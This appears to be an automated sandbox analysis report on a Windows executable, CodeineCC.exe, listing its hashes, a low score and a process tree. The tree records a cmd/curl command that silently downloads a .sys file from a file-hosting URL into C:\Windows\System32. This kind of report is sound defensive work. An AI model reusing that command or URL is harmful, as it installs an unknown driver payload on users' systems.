e06fa72a497e6b5abbc6f1fb1b5df380d5a1203841a7eb205578745a38ff65cd

Analysis

max time kernel
148s
max time network
124s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/06/2026, 20:44

Target
CodeineCC.exe
Size 1.1MB
Sample260628-zh79qaew4j
SHA256 e06fa72a497e6b5abbc6f1fb1b5df380d5a1203841a7eb205578745a38ff65cd
MD5 7997ca08de3415a2fd997d0a4c9bdb16
SHA1 3ce4350a3f07914072ed39aac7eeccb80d2bb383
SHA512 fb0e9748478c1ed39f589e75674796b48b938217d724f211c64210fef0d142bfe06b0258b77f9072bca606698392b93da9a6d62f8aed87c2651196124e948b52
SSDEEP 24576:5juiifo7AnqUeixCS12Sf2uvhFWRbJrj+5yiEnPqrESdh+YW2ntdzAR0b:5jXwo7AWGraIrEnPC5h+z2nttY
TLSH
T16A35AE05F7F449A8C17B9138D5E2EB1BEB36784D07209ADB63E006553FA76E04E76322
MD5 SHA1 SHA512 SSDEEP TLSH

Score

1^/10

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5468 wrote to memory of 3940	5468	CodeineCC.exe	90
PID 5468 wrote to memory of 1292	5468	CodeineCC.exe	91
PID 1292 wrote to memory of 5328	1292	cmd.exe	92
PID 5468 wrote to memory of 2160	5468	CodeineCC.exe	93

C:\Users\Admin\AppData\Local\Temp\CodeineCC.exe
"C:\Users\Admin\AppData\Local\Temp\CodeineCC.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -L --silent --fail "https://files.catbox.moe/x7ic4m.sys" --output "C:\Windows\System32\hobo.sys" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1292
- - C:\Windows\system32\curl.exe
    curl -L --silent --fail "https://files.catbox.moe/x7ic4m.sys" --output "C:\Windows\System32\hobo.sys"
    3⤵
    PID:5328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c pause
  2⤵
  PID:2160